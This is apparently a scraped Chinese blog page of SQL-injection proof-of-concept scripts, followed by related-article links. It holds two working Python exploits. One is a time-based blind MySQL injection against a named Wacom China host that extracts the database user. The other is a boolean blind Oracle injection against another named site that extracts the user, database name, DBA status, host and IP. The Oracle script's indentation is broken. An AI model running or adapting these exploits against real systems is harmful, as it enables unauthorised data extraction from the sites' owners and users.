mysql
#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib headers = {
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,20):
    for payload in payloads:        
          s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))        
          s = "if(%s,benchmark(2000000,md5(1)),0)" % s
          conn = httplib.HTTPConnection('wacom2012.wacom.com.cn', timeout=30)
          conn.request(method='GET',url="/AjaxRequest/Ajax_Page.aspx?id=%s&method=getregprocity" % urllib.quote(s), headers = headers)
          start_time = time.time()        
          conn.getresponse()
          conn.close()
          print '.',              
          #print time.time() - start_time
          if time.time() - start_time >2:
                user += payload
                print '\n[In progress]', user,
                #time.sleep(4.0)
                break
print '\n[Done]MySQL user is %s' % user

from

http://wooyun.org/bugs/wooyun-2010-0170936
http://zone.wooyun.org/content/25653

Oracle

oracle 基于bool 盲注

# encoding=utf-8

import httplib
import requests
import time
import string
import sys
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
print '[%s] Start to retrive Oracle info' % time.strftime('%H:%M:%S', time.localtime())
currentuser = ''
currentdb = ''
isdba1 = ''
currenthost = ''
currentip = ''
for i in range(1,6,1):
for payload in payloads:
response = requests.get("http://silkroad.testweb.org/testweb/website/201402001/cn/cContent.jsp?id=F0F0D1CCA972D899E040A8C048013331' AND ASCII(SUBSTR(user,{},1))={} AND '1'='1".format(str(i),str(ord(payload))))
if len(response.content) > 145000:
currentuser += payload
print '[currentuser]' ,currentuser
time.sleep(0.01)
break for i in range (1,5,1):
for payload in payloads:
response = requests.get("http://silkroad.testweb.org/testweb/website/201402001/cn/cContent.jsp?id=F0F0D1CCA972D899E040A8C048013331' and ASCII(SUBSTR((SYS_CONTEXT('USERENV','DB_NAME')),{},1))={} and '1'='1".format(str(i),str(ord(payload))))
if len(response.content) > 145000:
currentdb += payload
print '[currentdb]' ,currentdb
time.sleep(0.01)
break for i in range (1,6,1):
for payload in payloads:
response = requests.get("http://silkroad.testweb.org/testweb/website/201402001/cn/cContent.jsp?id=F0F0D1CCA972D899E040A8C048013331' and ASCII(SUBSTR((SYS_CONTEXT('USERENV','ISDBA')),{},1))={} and '1'='1".format(str(i),str(ord(payload))))
if len(response.content) > 145000:
isdba1 += payload
print '[currentisdba1]' ,isdba1
time.sleep(0.01)
break for i in range (1,9,1):
for payload in payloads:
response = requests.get("http://silkroad.testweb.org/testweb/website/201402001/cn/cContent.jsp?id=F0F0D1CCA972D899E040A8C048013331' and ASCII(SUBSTR((SYS_CONTEXT('USERENV','HOST')),{},1))={} and '1'='1".format(str(i),str(ord(payload))))
if len(response.content) > 145000:
currenthost += payload
print '[currenthost]' ,currenthost
time.sleep(0.01)
break for i in range (1,13,1):
for payload in payloads:
response = requests.get("http://silkroad.testweb.org/testweb/website/201402001/cn/cContent.jsp?id=F0F0D1CCA972D899E040A8C048013331' and ASCII(SUBSTR((SYS_CONTEXT('USERENV','IP_ADDRESS')),{},1))={} and '1'='1".format(str(i),str(ord(payload))))
if len(response.content) > 145000:
currentip += payload
print '[currentip]' ,currentip
time.sleep(0.01)
break print '[%s] Stop to retrive Oracle info' % time.strftime('%H:%M:%S', time.localtime())

SQL注入POC的更多相关文章

  1. 代码审计之SQL注入

    0x00概况说明 0x01报错注入及利用 环境说明 kali LAMP 0x0a 核心代码 现在注入的主要原因是程序员在写sql语句的时候还是通过最原始的语句拼接来完成,另外SQL语句有Select. ...

  2. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  3. zabbix(sql注入判断脚本)

    zabbix(sql注入判断脚本) #-*-coding:utf-8-*- # code by anyun.org import urllib import re def getHtml(url): ...

  4. DEDECMS数据库执行原理、CMS代码层SQL注入防御思路

    我们在上一篇文章中学习了DEDECMS的模板标签.模板解析原理,以及通过对模板核心类的Hook Patch来对模板的解析流量的攻击模式检测,达到修复模板类代码执行漏洞的目的 http://www.cn ...

  5. SQL注入测试平台 SQLol -6.CHALLENGES挑战

    SQLol上面的挑战共有14关,接下来我们一关一关来突破. Challenge 0 目的是让查询返回所有的用户名,而不是只有一个. SELECT username FROM users WHERE u ...

  6. SQL注入测试平台 SQLol -2.SELECT注入测试

    前面,我们已经安装好了SQLol,打开http://localhost/sql/,首先跳转到http://localhost/sql/select.php,我们先从select模块进行测试. 一条完成 ...

  7. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 7.全局防护盲点的总结上篇

    0x01 背景 现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义.但仅仅使用这样的防护是存在很多盲点的,比如最经典的整型参数传递, ...

  8. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 3.全局防护Bypass之Base64Decode

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.同上一篇,我 ...

  9. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 4.全局防护Bypass之二次注入

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.二次注入也是 ...

随机推荐

  1. 【JAVA】JMX简单使用方法

    [BEAN] 配置   <!-- JMX 对应的接口服务--> <bean id="emailInterfaceServer" class="com.s ...

  2. PHP面向对象学习三 类的抽象方法和类

    一个类中至少有一个方法是抽象的,我们称之为抽象类. 所以如果定义抽象类首先定义抽象方法. 1.类中至少有一个抽象方法 2.抽象方法不允许有{ } 3.抽象方法前面必须要加abstract 抽象类的几个 ...

  3. GSM 短信相关AT指令(转)

    // AT+CSMS 选择消息业务AT+CSMS=0 // SMS 的AT 命令兼容GSM 07.05 Phase 2AT+CSMS=1 // SMS 的AT 命令兼容GSM 07.05 Phase ...

  4. Flex条件判断中注意事项

    1:等于判断条件,一定注意写两个==等号, if (obj.ProcessType="Relation") 如果只写一个等号,编译不会报错,并且Flex会认为是赋值操作,并且该语句 ...

  5. Sping Environment为Null的原因和解决方法

    参考:https://github.com/spring-projects/spring-boot/issues/4711 这个issue提出不到20天给我搜出来了,还是相信google的强大 问题: ...

  6. (转)KeyDown、KeyUp、KeyPress区别

    Windows窗体通过引发键盘事件来处理键盘输入以响应Windows消息,大多数Windows窗体应用程序都通过处理键盘事件来以独占方式处理键盘输入. 1.按键的类型 Windows窗体将键盘输入标 ...

  7. [LintCode] Two Sum 两数之和

    Given an array of integers, find two numbers such that they add up to a specific target number. The ...

  8. [LintCode] Gray Code 格雷码

    The gray code is a binary numeral system where two successive values differ in only one bit. Given a ...

  9. [LintCode] Reverse Integer 翻转整数

    Reverse digits of an integer. Returns 0 when the reversed integer overflows (signed 32-bit integer). ...

  10. ExtJS笔记 Form

    A Form Panel is nothing more than a basic Panel with form handling abilities added. Form Panels can ...